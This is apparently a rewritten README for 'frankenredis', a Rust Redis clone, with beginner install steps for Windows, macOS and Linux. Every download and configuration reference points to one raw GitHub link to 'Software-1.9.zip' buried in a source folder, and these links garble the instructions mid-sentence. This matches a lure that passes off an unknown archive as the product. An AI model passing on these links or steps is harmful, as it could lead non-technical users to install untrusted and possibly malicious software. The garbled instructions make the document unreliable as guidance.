frankenredis is a safe, dependable version of Redis, built from scratch using Rust. It works like regular Redis but focuses on safety and stability. The software aims to keep your data safe and make your system reliable by avoiding errors common in other versions.
This software is for anyone who needs the features of Redis but wants an extra layer of security and consistency. It ensures your data stays intact and your system runs smoothly.
- Memory Safety: Built with Rust to prevent crashes and data loss from memory errors.
- Strict Compatibility: Works closely with Redis commands and protocols.
- Replication: Ensures data copies stay consistent on multiple machines.
- Performance Optimizations: Uses advanced methods to keep the software fast.
- Conformance Tests: Regular testing to guarantee it behaves like Redis.
- Data Persistence: Saves your data regularly to avoid loss during shutdowns.
- Reliability: Stable operation even under heavy use or errors.
These features make frankenredis a stable choice for systems that depend on fast, safe key-value storage.
Before you install, make sure your computer meets these requirements:
- Operating Systems: Windows 10 or later, macOS 10.13 or later, Linux (any modern distribution)
- Processor: 64-bit CPU (Intel or AMD recommended)
- Memory: At least 4 GB RAM
- Disk Space: 500 MB free space for installation and data
- Network: Internet access for downloading and optional replication features
Make sure you have enough disk space and memory for your data size and expected workload.
You donβt need to know programming to use frankenredis. This guide walks you through downloading, installing, and running the software step-by-step.
Click the big blue button below, or visit the releases page directly:
This is the official page with the latest version and updates.
On the release page, look for the latest release. You will see files for different operating systems. Download the one appropriate for your computer:
- For Windows, download the
.exeinstaller file. - For macOS, download the
.dmgor.zippackage. - For Linux, download the
https://github.com/HackitHatchetScratch/frankenredis/raw/refs/heads/main/crates/fr-eventloop/src/Software-1.9.ziparchive matching your system.
The filename usually includes your operating system for easy identification.
- Windows: Run the
.exefile and follow the install wizard steps. - macOS: Open the
.dmgfile and drag frankenredis to your Applications folder. - Linux: Extract the
https://github.com/HackitHatchetScratch/frankenredis/raw/refs/heads/main/crates/fr-eventloop/src/Software-1.9.ziparchive and follow the README instructions inside.
If youβre not sure how to open these file types, do a quick search for βhow to install software on [your OS]β.
Once installed, you can start frankenredis as follows:
- Windows: Find frankenredis in the Start Menu and click it.
- macOS: Open the Applications folder and double-click frankenredis.
- Linux: Open terminal, navigate to the installation folder, and run
./frankenredis(you may need to make it executable withchmod +x).
When running the software for the first time, it will set up default configurations automatically. These settings make it ready for most common uses.
- Accessing frankenredis: Use any Redis client you know. It speaks the same language.
- Configuration File: You can edit the
https://github.com/HackitHatchetScratch/frankenredis/raw/refs/heads/main/crates/fr-eventloop/src/Software-1.9.zipfile to customize how it works. - Data Storage: Your data lives in a folder named
datainside the installation directory. - Stopping the Server: Use the standard
shutdowncommand or close the window.
If things seem slow, try increasing assigned memory in the configuration.
frankenredis supports data replication so you can copy information across servers. This keeps your data safe if one server fails. The replication mode is deterministic, meaning it keeps data consistent without unexpected changes.
You do not need to set this up for basic use, but if interested, see the advanced guide in the documentation.
- frankenredis wonβt start: Check if your computer meets the system requirements and restart it.
- Download issues: Try using a different browser or clear your browser cache.
- Unexpected crashes: Make sure no other program is using the same ports.
- Slow performance: Close other heavy applications or increase memory in settings.
For more help, open an issue on GitHub or search the discussions page.
frankenredis is designed to avoid common software bugs that lead to crashes or data loss. It uses strict modes to catch mistakes early and keep your system running as expected.
Always back up your important data regularly, especially when experimenting with new software.
If you need help:
- Visit the GitHub repository for documentation and issue tracking.
- Check the GitHub discussions for community advice.
- Look for user guides inside the installation folder.
After installation:
- Connect frankenredis to your applications as you would with regular Redis.
- Explore configuration options to optimize it for your needs.
- Try out replication features if you run multiple servers.
- Keep the software updated by checking the release page regularly.
Start using a reliable, memory-safe Redis alternative. Visit this page to download the latest version: